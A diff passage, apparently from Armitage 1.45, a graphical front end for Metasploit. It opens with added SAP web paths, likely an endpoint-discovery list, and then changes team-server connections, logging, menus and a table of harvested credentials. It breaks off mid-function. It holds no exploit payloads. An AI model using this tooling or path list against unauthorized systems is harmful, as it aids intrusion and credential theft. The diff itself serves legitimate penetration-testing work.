/sap/bc/bsp/sap/hrrcf_wd_dovru
|
||||||
/sap/bc/bsp/sap/htmlb_samples
|
/sap/bc/bsp/sap/htmlb_samples
|
||||||
/sap/bc/bsp/sap/iccmp_bp_cnfirm
|
/sap/bc/bsp/sap/iccmp_bp_cnfirm
|
||||||
/sap/bc/bsp/sap/iccmp_hdr_cntnr
|
/sap/bc/bsp/sap/iccmp_hdr_cntnr
|
||||||
|
@ -124,6 +125,9 @@
|
||||||
/sap/bc/bsp/sap/iccmp_ssc_ll/
|
/sap/bc/bsp/sap/iccmp_ssc_ll/
|
||||||
/sap/bc/bsp/sap/ic_frw_notify
|
/sap/bc/bsp/sap/ic_frw_notify
|
||||||
/sap/bc/bsp/sap/it00
|
/sap/bc/bsp/sap/it00
|
||||||
|
/sap/bc/bsp/sap/it00/default.htm
|
||||||
|
/sap/bc/bsp/sap/it00/http_client.htm
|
||||||
|
/sap/bc/bsp/sap/it00/http_client_xml.htm
|
||||||
/sap/bc/bsp/sap/public/bc
|
/sap/bc/bsp/sap/public/bc
|
||||||
/sap/bc/bsp/sap/public/graphics
|
/sap/bc/bsp/sap/public/graphics
|
||||||
/sap/bc/bsp/sap/sam_demo
|
/sap/bc/bsp/sap/sam_demo
|
||||||
|
@ -141,6 +145,17 @@
|
||||||
/sap/bc/bsp/sap/xmb_bsp_log
|
/sap/bc/bsp/sap/xmb_bsp_log
|
||||||
/sap/bc/contentserver
|
/sap/bc/contentserver
|
||||||
/sap/bc/echo
|
/sap/bc/echo
|
||||||
|
/sap/bc/erecruiting/applwzd
|
||||||
|
/sap/bc/erecruiting/confirmation_e
|
||||||
|
/sap/bc/erecruiting/confirmation_i
|
||||||
|
/sap/bc/erecruiting/dataoverview
|
||||||
|
/sap/bc/erecruiting/password
|
||||||
|
/sap/bc/erecruiting/posting_apply
|
||||||
|
/sap/bc/erecruiting/qa_email_e
|
||||||
|
/sap/bc/erecruiting/qa_email_i
|
||||||
|
/sap/bc/erecruiting/registration
|
||||||
|
/sap/bc/erecruiting/startpage
|
||||||
|
/sap/bc/erecruiting/verification
|
||||||
/sap/bc/error
|
/sap/bc/error
|
||||||
/sap/bc/FormToRfc
|
/sap/bc/FormToRfc
|
||||||
/sap/bc/graphics/net
|
/sap/bc/graphics/net
|
||||||
|
@ -169,6 +184,32 @@
|
||||||
/sap/bc/webdynpro/sap/esh_adm_smoketest_ui
|
/sap/bc/webdynpro/sap/esh_adm_smoketest_ui
|
||||||
/sap/bc/webdynpro/sap/esh_eng_modelling
|
/sap/bc/webdynpro/sap/esh_eng_modelling
|
||||||
/sap/bc/webdynpro/sap/esh_search_results.ui
|
/sap/bc/webdynpro/sap/esh_search_results.ui
|
||||||
|
/sap/bc/webdynpro/sap/hrrcf_a_act_cnf_dovr_ui
|
||||||
|
/sap/bc/webdynpro/sap/hrrcf_a_act_cnf_ind_ext
|
||||||
|
/sap/bc/webdynpro/sap/hrrcf_a_act_cnf_ind_int
|
||||||
|
/sap/bc/webdynpro/sap/hrrcf_a_appls
|
||||||
|
/sap/bc/webdynpro/sap/hrrcf_a_applwizard
|
||||||
|
/sap/bc/webdynpro/sap/hrrcf_a_candidate_registration
|
||||||
|
/sap/bc/webdynpro/sap/hrrcf_a_candidate_verification
|
||||||
|
/sap/bc/webdynpro/sap/hrrcf_a_dataoverview
|
||||||
|
/sap/bc/webdynpro/sap/hrrcf_a_draft_applications
|
||||||
|
/sap/bc/webdynpro/sap/hrrcf_a_new_verif_mail
|
||||||
|
/sap/bc/webdynpro/sap/hrrcf_a_posting_apply
|
||||||
|
/sap/bc/webdynpro/sap/hrrcf_a_psett_ext
|
||||||
|
/sap/bc/webdynpro/sap/hrrcf_a_psett_int
|
||||||
|
/sap/bc/webdynpro/sap/hrrcf_a_pw_via_email_extern
|
||||||
|
/sap/bc/webdynpro/sap/hrrcf_a_pw_via_email_intern
|
||||||
|
/sap/bc/webdynpro/sap/hrrcf_a_qa_mss
|
||||||
|
/sap/bc/webdynpro/sap/hrrcf_a_refcode_srch
|
||||||
|
/sap/bc/webdynpro/sap/hrrcf_a_refcode_srch_int
|
||||||
|
/sap/bc/webdynpro/sap/hrrcf_a_req_assess
|
||||||
|
/sap/bc/webdynpro/sap/hrrcf_a_requi_monitor
|
||||||
|
/sap/bc/webdynpro/sap/hrrcf_a_substitution_admin
|
||||||
|
/sap/bc/webdynpro/sap/hrrcf_a_substitution_manager
|
||||||
|
/sap/bc/webdynpro/sap/hrrcf_a_tp_assess
|
||||||
|
/sap/bc/webdynpro/sap/hrrcf_a_unregemp_job_search
|
||||||
|
/sap/bc/webdynpro/sap/hrrcf_a_unreg_job_search
|
||||||
|
/sap/bc/webdynpro/sap/hrrcf_a_unverified_cand
|
||||||
/sap/bc/webdynpro/sap/sh_adm_smoketest_files
|
/sap/bc/webdynpro/sap/sh_adm_smoketest_files
|
||||||
/sap/bc/webdynpro/sap/wd_analyze_config_appl
|
/sap/bc/webdynpro/sap/wd_analyze_config_appl
|
||||||
/sap/bc/webdynpro/sap/wd_analyze_config_comp
|
/sap/bc/webdynpro/sap/wd_analyze_config_comp
|
||||||
|
@ -196,9 +237,10 @@
|
||||||
/sapmc/sapmc.html
|
/sapmc/sapmc.html
|
||||||
/sap/monitoring/
|
/sap/monitoring/
|
||||||
/sap/public/bc
|
/sap/public/bc
|
||||||
/sap/public/bc
|
|
||||||
/sap/public/bc/icons
|
/sap/public/bc/icons
|
||||||
/sap/public/bc/icons_rtl
|
/sap/public/bc/icons_rtl
|
||||||
|
/sap/public/bc/its
|
||||||
|
/sap/public/bc/its/designs
|
||||||
/sap/public/bc/its/mimes
|
/sap/public/bc/its/mimes
|
||||||
/sap/public/bc/its/mimes/system/SL/page/hourglass.html
|
/sap/public/bc/its/mimes/system/SL/page/hourglass.html
|
||||||
/sap/public/bc/its/mobile/itsmobile00
|
/sap/public/bc/its/mobile/itsmobile00
|
||||||
|
@ -213,6 +255,7 @@
|
||||||
/sap/public/bc/trex
|
/sap/public/bc/trex
|
||||||
/sap/public/bc/ur
|
/sap/public/bc/ur
|
||||||
/sap/public/bc/wdtracetool
|
/sap/public/bc/wdtracetool
|
||||||
|
/sap/public/bc/webdynpro
|
||||||
/sap/public/bc/webdynpro/adobechallenge
|
/sap/public/bc/webdynpro/adobechallenge
|
||||||
/sap/public/bc/webdynpro/mimes
|
/sap/public/bc/webdynpro/mimes
|
||||||
/sap/public/bc/webdynpro/ssr
|
/sap/public/bc/webdynpro/ssr
|
||||||
|
@ -220,6 +263,7 @@
|
||||||
/sap/public/bc/webicons
|
/sap/public/bc/webicons
|
||||||
/sap/public/bc/workflow
|
/sap/public/bc/workflow
|
||||||
/sap/public/bc/workflow/shortcut
|
/sap/public/bc/workflow/shortcut
|
||||||
|
/sap/public/bsp
|
||||||
/sap/public/bsp/sap
|
/sap/public/bsp/sap
|
||||||
/sap/public/bsp/sap/htmlb
|
/sap/public/bsp/sap/htmlb
|
||||||
/sap/public/bsp/sap/public
|
/sap/public/bsp/sap/public
|
||||||
|
|
|
@ -3,7 +3,7 @@
|
||||||
<center><h1>Armitage 1.45</h1></center>
|
<center><h1>Armitage 1.45</h1></center>
|
||||||
|
|
||||||
<p>An attack management tool for Metasploit®
|
<p>An attack management tool for Metasploit®
|
||||||
<br />Release: 23 Jan 13</p>
|
<br />Release: 6 Mar 13</p>
|
||||||
<br />
|
<br />
|
||||||
<p>Developed by:</p>
|
<p>Developed by:</p>
|
||||||
|
|
||||||
|
|
|
@ -188,13 +188,24 @@ sub table_selected_single {
|
||||||
|
|
||||||
# table_set($table, @rows)
|
# table_set($table, @rows)
|
||||||
sub table_set {
|
sub table_set {
|
||||||
local('$model $row');
|
later(lambda({
|
||||||
$model = [$1 getModel];
|
local('$model $row');
|
||||||
[$model clear: size($2) * 2];
|
$model = [$a getModel];
|
||||||
foreach $row ($2) {
|
[$model clear: size($b) * 2];
|
||||||
[$model addEntry: $row];
|
foreach $row ($b) {
|
||||||
}
|
[$model addEntry: $row];
|
||||||
[$model fireListeners];
|
}
|
||||||
|
[$model fireListeners];
|
||||||
|
}, $a => $1, $b => $2));
|
||||||
|
}
|
||||||
|
|
||||||
|
# table_set($table, @rows)
|
||||||
|
sub table_update {
|
||||||
|
later(lambda({
|
||||||
|
[$a markSelections];
|
||||||
|
table_set($a, $b);
|
||||||
|
[$a restoreSelections];
|
||||||
|
}, $a => $1, $b => $2));
|
||||||
}
|
}
|
||||||
|
|
||||||
# table_sorter($table, index, &function);
|
# table_sorter($table, index, &function);
|
||||||
|
|
|
@ -9,6 +9,9 @@ import msf.*;
|
||||||
|
|
||||||
# setg("varname", "value")
|
# setg("varname", "value")
|
||||||
sub setg {
|
sub setg {
|
||||||
|
if ($1 eq "LHOST") {
|
||||||
|
call_async("armitage.set_ip", $2);
|
||||||
|
}
|
||||||
cmd_safe("setg $1 $2");
|
cmd_safe("setg $1 $2");
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -580,6 +583,39 @@ sub data_add {
|
||||||
call("db.key_add", $1, $data);
|
call("db.key_add", $1, $data);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#
|
||||||
|
# a publish/query/subscribe API
|
||||||
|
#
|
||||||
|
|
||||||
|
# publish("key", $object)
|
||||||
|
sub publish {
|
||||||
|
local('$data');
|
||||||
|
$data = [msf.Base64 encode: cast(pack("o", $2, 1), 'b')];
|
||||||
|
call_async("armitage.publish", $1, "$data $+ \n");
|
||||||
|
}
|
||||||
|
|
||||||
|
# query("key", "index")
|
||||||
|
sub query {
|
||||||
|
local('$r @r $result');
|
||||||
|
$r = call("armitage.query", $1, $2)['data'];
|
||||||
|
if ($r ne "") {
|
||||||
|
foreach $result (split("\n", $r)) {
|
||||||
|
push(@r, unpack("o", [msf.Base64 decode: $result])[0]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return @r;
|
||||||
|
}
|
||||||
|
|
||||||
|
# subscribe("key", "index", "1s/5s/10s/15s/30s/1m/5m/10m/15m/20m/30m/60m")
|
||||||
|
sub subscribe {
|
||||||
|
on("heartbeat_ $+ $3", lambda({
|
||||||
|
local('$result');
|
||||||
|
foreach $result (query($key, $index)) {
|
||||||
|
fire_event_local($key, $result, $index);
|
||||||
|
}
|
||||||
|
}, $key => $1, $index => $2));
|
||||||
|
}
|
||||||
|
|
||||||
#
|
#
|
||||||
# Shell shock?
|
# Shell shock?
|
||||||
#
|
#
|
||||||
|
@ -831,7 +867,7 @@ sub m_exec {
|
||||||
}, \$command, \$channel, \$buffer));
|
}, \$command, \$channel, \$buffer));
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
# this is probably ok...
|
fire_event_local("exec_error", $1, $command, ["$3" trim]);
|
||||||
}
|
}
|
||||||
}, \$command));
|
}, \$command));
|
||||||
}
|
}
|
||||||
|
|
|
@ -15,7 +15,7 @@ import graph.*;
|
||||||
|
|
||||||
import java.awt.image.*;
|
import java.awt.image.*;
|
||||||
|
|
||||||
global('$frame $tabs $menubar $msfrpc_handle $REMOTE $cortana $MY_ADDRESS');
|
global('$frame $tabs $menubar $msfrpc_handle $REMOTE $cortana $MY_ADDRESS $DESCRIBE @CLOSEME @POOL');
|
||||||
|
|
||||||
sub describeHost {
|
sub describeHost {
|
||||||
local('$desc');
|
local('$desc');
|
||||||
|
@ -164,14 +164,32 @@ sub _connectToMetasploit {
|
||||||
$client = [new MsgRpcImpl: $3, $4, $1, long($2), $null, $debug];
|
$client = [new MsgRpcImpl: $3, $4, $1, long($2), $null, $debug];
|
||||||
$aclient = [new RpcAsync: $client];
|
$aclient = [new RpcAsync: $client];
|
||||||
$mclient = $client;
|
$mclient = $client;
|
||||||
|
push(@POOL, $aclient);
|
||||||
initConsolePool();
|
initConsolePool();
|
||||||
|
$DESCRIBE = "localhost";
|
||||||
}
|
}
|
||||||
# we have a team server... connect and authenticate to it.
|
# we have a team server... connect and authenticate to it.
|
||||||
else {
|
else {
|
||||||
|
[$progress setNote: "Connected: logging in"];
|
||||||
$client = c_client($1, $2);
|
$client = c_client($1, $2);
|
||||||
setField(^msf.MeterpreterSession, DEFAULT_WAIT => 20000L);
|
|
||||||
$mclient = setup_collaboration($3, $4, $1, $2);
|
$mclient = setup_collaboration($3, $4, $1, $2);
|
||||||
$aclient = $mclient;
|
$aclient = $mclient;
|
||||||
|
|
||||||
|
if ($mclient is $null) {
|
||||||
|
[$progress close];
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
[$progress setNote: "Connected: authenticated"];
|
||||||
|
}
|
||||||
|
|
||||||
|
# create six additional connections to team server... for balancing consoles.
|
||||||
|
local('$x $cc');
|
||||||
|
for ($x = 0; $x < 6; $x++) {
|
||||||
|
$cc = c_client($1, $2);
|
||||||
|
call($cc, "armitage.validate", $3, $4, $null, "armitage", 120326);
|
||||||
|
push(@POOL, $cc);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
$flag = $null;
|
$flag = $null;
|
||||||
}
|
}
|
||||||
|
@ -319,28 +337,23 @@ sub postSetup {
|
||||||
}
|
}
|
||||||
|
|
||||||
sub main {
|
sub main {
|
||||||
local('$console $panel $dir');
|
local('$console $panel $dir $app');
|
||||||
|
|
||||||
$frame = [new ArmitageApplication];
|
$frame = [new ArmitageApplication: $__frame__, $DESCRIBE, $mclient];
|
||||||
[$frame setTitle: $TITLE];
|
[$frame setTitle: $TITLE];
|
||||||
[$frame setSize: 800, 600];
|
[$frame setIconImage: [ImageIO read: resource("resources/armitage-icon.gif")]];
|
||||||
|
|
||||||
init_menus($frame);
|
init_menus($frame);
|
||||||
initLogSystem();
|
initLogSystem();
|
||||||
|
|
||||||
[$frame setIconImage: [ImageIO read: resource("resources/armitage-icon.gif")]];
|
|
||||||
[$frame show];
|
|
||||||
[$frame setExtendedState: [JFrame MAXIMIZED_BOTH]];
|
|
||||||
|
|
||||||
# this window listener is dead-lock waiting to happen. That's why we're adding it in a
|
# this window listener is dead-lock waiting to happen. That's why we're adding it in a
|
||||||
# separate thread (Sleep threads don't share data/locks).
|
# separate thread (Sleep threads don't share data/locks).
|
||||||
fork({
|
fork({
|
||||||
[$frame addWindowListener: {
|
[$__frame__ addWindowListener: {
|
||||||
if ($0 eq "windowClosing" && $msfrpc_handle !is $null) {
|
if ($0 eq "windowClosing" && $msfrpc_handle !is $null) {
|
||||||
closef($msfrpc_handle);
|
closef($msfrpc_handle);
|
||||||
}
|
}
|
||||||
}];
|
}];
|
||||||
}, \$msfrpc_handle, \$frame);
|
}, \$msfrpc_handle, \$__frame__);
|
||||||
|
|
||||||
dispatchEvent({
|
dispatchEvent({
|
||||||
if ($client !is $mclient) {
|
if ($client !is $mclient) {
|
||||||
|
@ -371,7 +384,6 @@ sub checkDir {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
setLookAndFeel();
|
|
||||||
checkDir();
|
checkDir();
|
||||||
|
|
||||||
if ($CLIENT_CONFIG !is $null && -exists $CLIENT_CONFIG) {
|
if ($CLIENT_CONFIG !is $null && -exists $CLIENT_CONFIG) {
|
||||||
|
|
|
@ -23,6 +23,7 @@ sub createEventLogTab {
|
||||||
$client = [$cortana getEventLog: $console];
|
$client = [$cortana getEventLog: $console];
|
||||||
[$client setEcho: $null];
|
[$client setEcho: $null];
|
||||||
[$console updatePrompt: "> "];
|
[$console updatePrompt: "> "];
|
||||||
|
[new EventLogTabCompletion: $console, $mclient];
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
[$console updateProperties: $preferences];
|
[$console updateProperties: $preferences];
|
||||||
|
@ -63,6 +64,7 @@ sub c_client {
|
||||||
# run this thing in its own thread to avoid really stupid deadlock situations
|
# run this thing in its own thread to avoid really stupid deadlock situations
|
||||||
local('$handle');
|
local('$handle');
|
||||||
$handle = [[new SecureSocket: $1, int($2), &verify_server] client];
|
$handle = [[new SecureSocket: $1, int($2), &verify_server] client];
|
||||||
|
push(@CLOSEME, $handle);
|
||||||
return wait(fork({
|
return wait(fork({
|
||||||
local('$client');
|
local('$client');
|
||||||
$client = newInstance(^RpcConnection, lambda({
|
$client = newInstance(^RpcConnection, lambda({
|
||||||
|
@ -91,9 +93,11 @@ sub setup_collaboration {
|
||||||
%r = call($mclient, "armitage.validate", $1, $2, $nick, "armitage", 120326);
|
%r = call($mclient, "armitage.validate", $1, $2, $nick, "armitage", 120326);
|
||||||
if (%r["error"] eq "1") {
|
if (%r["error"] eq "1") {
|
||||||
showErrorAndQuit(%r["message"]);
|
showErrorAndQuit(%r["message"]);
|
||||||
|
return $null;
|
||||||
}
|
}
|
||||||
|
|
||||||
%r = call($client, "armitage.validate", $1, $2, $null, "armitage", 120326);
|
%r = call($client, "armitage.validate", $1, $2, $null, "armitage", 120326);
|
||||||
|
$DESCRIBE = "$nick $+ @ $+ $3";
|
||||||
return $mclient;
|
return $mclient;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
@ -95,13 +95,13 @@ sub dispatchEvent {
|
||||||
|
|
||||||
sub showError {
|
sub showError {
|
||||||
dispatchEvent(lambda({
|
dispatchEvent(lambda({
|
||||||
[JOptionPane showMessageDialog: $frame, $message];
|
[JOptionPane showMessageDialog: $__frame__, $message];
|
||||||
}, $message => $1));
|
}, $message => $1));
|
||||||
}
|
}
|
||||||
|
|
||||||
sub showErrorAndQuit {
|
sub showErrorAndQuit {
|
||||||
[JOptionPane showMessageDialog: $frame, $1];
|
[JOptionPane showMessageDialog: $__frame__, $1];
|
||||||
[System exit: 0];
|
[$__frame__ closeConnect];
|
||||||
}
|
}
|
||||||
|
|
||||||
sub ask {
|
sub ask {
|
||||||
|
@ -155,7 +155,7 @@ sub chooseFile {
|
||||||
[$fc setFileSelectionMode: [JFileChooser DIRECTORIES_ONLY]];
|
[$fc setFileSelectionMode: [JFileChooser DIRECTORIES_ONLY]];
|
||||||
}
|
}
|
||||||
|
|
||||||
[$fc showOpenDialog: $frame];
|
[$fc showOpenDialog: $__frame__];
|
||||||
|
|
||||||
if ($multi) {
|
if ($multi) {
|
||||||
return [$fc getSelectedFiles];
|
return [$fc getSelectedFiles];
|
||||||
|
@ -179,17 +179,18 @@ sub saveFile2 {
|
||||||
[$fc setSelectedFile: [new java.io.File: $sel]];
|
[$fc setSelectedFile: [new java.io.File: $sel]];
|
||||||
}
|
}
|
||||||
|
|
||||||
[$fc showSaveDialog: $frame];
|
if ([$fc showSaveDialog: $__frame__] == 0) {
|
||||||
$file = [$fc getSelectedFile];
|
$file = [$fc getSelectedFile];
|
||||||
if ($file !is $null) {
|
if ($file !is $null) {
|
||||||
return $file;
|
return $file;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
sub saveFile {
|
sub saveFile {
|
||||||
local('$fc $file');
|
local('$fc $file');
|
||||||
$fc = [new JFileChooser];
|
$fc = [new JFileChooser];
|
||||||
[$fc showSaveDialog: $frame];
|
[$fc showSaveDialog: $__frame__];
|
||||||
$file = [$fc getSelectedFile];
|
$file = [$fc getSelectedFile];
|
||||||
if ($file !is $null) {
|
if ($file !is $null) {
|
||||||
local('$ihandle $data $ohandle');
|
local('$ihandle $data $ohandle');
|
||||||
|
@ -250,10 +251,10 @@ sub left {
|
||||||
|
|
||||||
sub dialog {
|
sub dialog {
|
||||||
local('$dialog $4');
|
local('$dialog $4');
|
||||||
$dialog = [new JDialog: $frame, $1];
|
$dialog = [new JDialog: $__frame__, $1];
|
||||||
[$dialog setSize: $2, $3];
|
[$dialog setSize: $2, $3];
|
||||||
[$dialog setLayout: [new BorderLayout]];
|
[$dialog setLayout: [new BorderLayout]];
|
||||||
[$dialog setLocationRelativeTo: $frame];
|
[$dialog setLocationRelativeTo: $__frame__];
|
||||||
return $dialog;
|
return $dialog;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -261,7 +262,15 @@ sub window {
|
||||||
local('$dialog $4');
|
local('$dialog $4');
|
||||||
$dialog = [new JFrame: $1];
|
$dialog = [new JFrame: $1];
|
||||||
[$dialog setIconImage: [ImageIO read: resource("resources/armitage-icon.gif")]];
|
[$dialog setIconImage: [ImageIO read: resource("resources/armitage-icon.gif")]];
|
||||||
[$dialog setDefaultCloseOperation: [JFrame EXIT_ON_CLOSE]];
|
|
||||||
|
fork({
|
||||||
|
[$dialog addWindowListener: {
|
||||||
|
if ($0 eq "windowClosing") {
|
||||||
|
[$__frame__ closeConnect];
|
||||||
|
}
|
||||||
|
}];
|
||||||
|
}, \$__frame__, \$dialog);
|
||||||
|
|
||||||
[$dialog setSize: $2, $3];
|
[$dialog setSize: $2, $3];
|
||||||
[$dialog setLayout: [new BorderLayout]];
|
[$dialog setLayout: [new BorderLayout]];
|
||||||
return $dialog;
|
return $dialog;
|
||||||
|
@ -277,12 +286,14 @@ sub overlay_images {
|
||||||
return %cache[join(';', $1)];
|
return %cache[join(';', $1)];
|
||||||
}
|
}
|
||||||
|
|
||||||
local('$file $image $buffered $graphics');
|
local('$file $image $buffered $graphics $resource');
|
||||||
|
|
||||||
$buffered = [new BufferedImage: 1000, 776, [BufferedImage TYPE_INT_ARGB]];
|
$buffered = [new BufferedImage: 1000, 776, [BufferedImage TYPE_INT_ARGB]];
|
||||||
$graphics = [$buffered createGraphics];
|
$graphics = [$buffered createGraphics];
|
||||||
foreach $file ($1) {
|
foreach $file ($1) {
|
||||||
$image = [ImageIO read: resource($file)];
|
$resource = resource($file);
|
||||||
|
$image = [ImageIO read: $resource];
|
||||||
|
closef($resource);
|
||||||
[$graphics drawImage: $image, 0, 0, 1000, 776, $null];
|
[$graphics drawImage: $image, 0, 0, 1000, 776, $null];
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -371,15 +382,6 @@ sub wrapComponent {
|
||||||
return $panel;
|
return $panel;
|
||||||
}
|
}
|
||||||
|
|
||||||
sub setLookAndFeel {
|
|
||||||
local('$laf');
|
|
||||||
foreach $laf ([UIManager getInstalledLookAndFeels]) {
|
|
||||||
if ([$laf getName] eq [$preferences getProperty: "application.skin.skin", "Nimbus"]) {
|
|
||||||
[UIManager setLookAndFeel: [$laf getClassName]];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
sub thread {
|
sub thread {
|
||||||
local('$thread');
|
local('$thread');
|
||||||
$thread = [new ArmitageThread: $1];
|
$thread = [new ArmitageThread: $1];
|
||||||
|
@ -467,6 +469,13 @@ sub quickListDialog {
|
||||||
[$dialog setVisible: 1];
|
[$dialog setVisible: 1];
|
||||||
}
|
}
|
||||||
|
|
||||||
|
sub setTableColumnWidths {
|
||||||
|
local('$col $width $temp');
|
||||||
|
foreach $col => $width ($2) {
|
||||||
|
[[$1 getColumn: $col] setPreferredWidth: $width];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
sub tableRenderer {
|
sub tableRenderer {
|
||||||
return [ATable getDefaultTableRenderer: $1, $2];
|
return [ATable getDefaultTableRenderer: $1, $2];
|
||||||
}
|
}
|
||||||
|
|
|
@ -8,10 +8,10 @@ import java.awt.event.*;
|
||||||
|
|
||||||
sub addHostDialog {
|
sub addHostDialog {
|
||||||
local('$dialog $label $text $finish $button');
|
local('$dialog $label $text $finish $button');
|
||||||
$dialog = [new JDialog: $frame, "Add Hosts", 0];
|
$dialog = [new JDialog: $__frame__, "Add Hosts", 0];
|
||||||
[$dialog setSize: 320, 240];
|
[$dialog setSize: 320, 240];
|
||||||
[$dialog setLayout: [new BorderLayout]];
|
[$dialog setLayout: [new BorderLayout]];
|
||||||
[$dialog setLocationRelativeTo: $frame];
|
[$dialog setLocationRelativeTo: $__frame__];
|
||||||
|
|
||||||
$label = [new JLabel: "Enter one host/line:"];
|
$label = [new JLabel: "Enter one host/line:"];
|
||||||
$text = [new JTextArea];
|
$text = [new JTextArea];
|
||||||
|
|
|
@ -15,8 +15,8 @@ sub logNow {
|
||||||
if ([$preferences getProperty: "armitage.log_everything.boolean", "true"] eq "true") {
|
if ([$preferences getProperty: "armitage.log_everything.boolean", "true"] eq "true") {
|
||||||
local('$today $stream');
|
local('$today $stream');
|
||||||
$today = formatDate("yyMMdd");
|
$today = formatDate("yyMMdd");
|
||||||
mkdir(getFileProper(dataDirectory(), $today, $2));
|
mkdir(getFileProper(dataDirectory(), $today, $DESCRIBE, $2));
|
||||||
$stream = %logs[ getFileProper(dataDirectory(), $today, $2, "$1 $+ .log") ];
|
$stream = %logs[ getFileProper(dataDirectory(), $today, $DESCRIBE, $2, "$1 $+ .log") ];
|
||||||
[$stream println: $3];
|
[$stream println: $3];
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -26,8 +26,8 @@ sub logCheck {
|
||||||
local('$today');
|
local('$today');
|
||||||
$today = formatDate("yyMMdd");
|
$today = formatDate("yyMMdd");
|
||||||
if ($2 ne "") {
|
if ($2 ne "") {
|
||||||
mkdir(getFileProper(dataDirectory(), $today, $2));
|
mkdir(getFileProper(dataDirectory(), $today, $DESCRIBE, $2));
|
||||||
[$1 writeToLog: %logs[ getFileProper(dataDirectory(), $today, $2, "$3 $+ .log") ]];
|
[$1 writeToLog: %logs[ getFileProper(dataDirectory(), $today, $DESCRIBE, $2, "$3 $+ .log") ]];
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -38,7 +38,7 @@ sub logFile {
|
||||||
local('$today $handle $data $out');
|
local('$today $handle $data $out');
|
||||||
$today = formatDate("yyMMdd");
|
$today = formatDate("yyMMdd");
|
||||||
if (-exists $1 && -canread $1) {
|
if (-exists $1 && -canread $1) {
|
||||||
mkdir(getFileProper(dataDirectory(), $today, $2, $3));
|
mkdir(getFileProper(dataDirectory(), $today, $DESCRIBE, $2, $3));
|
||||||
|
|
||||||
# read in the file
|
# read in the file
|
||||||
$handle = openf($1);
|
$handle = openf($1);
|
||||||
|
@ -46,7 +46,7 @@ sub logFile {
|
||||||
closef($handle);
|
closef($handle);
|
||||||
|
|
||||||
# write it out.
|
# write it out.
|
||||||
$out = getFileProper(dataDirectory(), $today, $2, $3, getFileName($1));
|
$out = getFileProper(dataDirectory(), $today, $DESCRIBE, $2, $3, getFileName($1));
|
||||||
$handle = openf("> $+ $out");
|
$handle = openf("> $+ $out");
|
||||||
writeb($handle, $data);
|
writeb($handle, $data);
|
||||||
closef($handle);
|
closef($handle);
|
||||||
|
@ -70,7 +70,7 @@ sub initLogSystem {
|
||||||
logFile([$file getAbsolutePath], "screenshots", ".");
|
logFile([$file getAbsolutePath], "screenshots", ".");
|
||||||
deleteFile([$file getAbsolutePath]);
|
deleteFile([$file getAbsolutePath]);
|
||||||
|
|
||||||
showError("Saved " . getFileName($file) . "\nGo to View -> Reporting -> Activity Logs\n\nThe file is in:\n[today's date]/screenshots");
|
showError("Saved " . getFileName($file) . "\nGo to View -> Reporting -> Activity Logs\n\nThe file is in:\n[today's date]/ $+ $DESCRIBE $+ /screenshots");
|
||||||
}, \$image, \$title));
|
}, \$image, \$title));
|
||||||
}];
|
}];
|
||||||
}
|
}
|
||||||
|
|
|
@ -119,10 +119,13 @@ sub view_items {
|
||||||
sub armitage_items {
|
sub armitage_items {
|
||||||
local('$m');
|
local('$m');
|
||||||
|
|
||||||
item($1, 'Preferences', 'P', &createPreferencesTab);
|
item($1, 'New Connection', 'N', {
|
||||||
|
[new armitage.ArmitageMain: cast(@ARGV, ^String), $__frame__, $null];
|
||||||
|
});
|
||||||
separator($1);
|
separator($1);
|
||||||
|
|
||||||
|
item($1, 'Preferences', 'P', &createPreferencesTab);
|
||||||
|
|
||||||
dynmenu($1, 'Set Target View', 'S', {
|
dynmenu($1, 'Set Target View', 'S', {
|
||||||
local('$t1 $t2');
|
local('$t1 $t2');
|
||||||
if ([$preferences getProperty: "armitage.string.target_view", "graph"] eq "graph") {
|
if ([$preferences getProperty: "armitage.string.target_view", "graph"] eq "graph") {
|
||||||
|
@ -183,12 +186,13 @@ sub armitage_items {
|
||||||
|
|
||||||
separator($1);
|
separator($1);
|
||||||
|
|
||||||
item($1, 'Exit', 'x', {
|
item($1, 'Close', 'C', {
|
||||||
if ($msfrpc_handle !is $null) {
|
if ($msfrpc_handle !is $null) {
|
||||||
closef($msfrpc_handle);
|
closef($msfrpc_handle);
|
||||||
}
|
}
|
||||||
|
|
||||||
[System exit: 0];
|
map({ closef($1); }, @CLOSEME);
|
||||||
|
[$__frame__ quit];
|
||||||
});
|
});
|
||||||
|
|
||||||
}
|
}
|
||||||
|
@ -246,7 +250,7 @@ sub help_items {
|
||||||
|
|
||||||
[$dialog add: $label, [BorderLayout CENTER]];
|
[$dialog add: $label, [BorderLayout CENTER]];
|
||||||
[$dialog pack];
|
[$dialog pack];
|
||||||
[$dialog setLocationRelativeTo: $null];
|
[$dialog setLocationRelativeTo: $__frame__];
|
||||||
[$dialog setVisible: 1];
|
[$dialog setVisible: 1];
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
|
@ -58,12 +58,38 @@ import ui.*;
|
||||||
sub refreshCredsTable {
|
sub refreshCredsTable {
|
||||||
thread(lambda({
|
thread(lambda({
|
||||||
[Thread yield];
|
[Thread yield];
|
||||||
local('$creds $cred');
|
local('$creds $cred $desc $aclient %check $key');
|
||||||
[$model clear: 128];
|
[$model clear: 128];
|
||||||
$creds = call($mclient, "db.creds2", [new HashMap])["creds2"];
|
foreach $desc => $aclient (convertAll([$__frame__ getClients])) {
|
||||||
|
$creds = call($aclient, "db.creds2", [new HashMap])["creds2"];
|
||||||
|
foreach $cred ($creds) {
|
||||||
|
$key = join("~~", values($cred, @("user", "pass", "host")));
|
||||||
|
if ($key in %check) {
|
||||||
|
|
||||||
|
}
|
||||||
|
else if ($title ne "login" || $cred['ptype'] ne "smb_hash") {
|
||||||
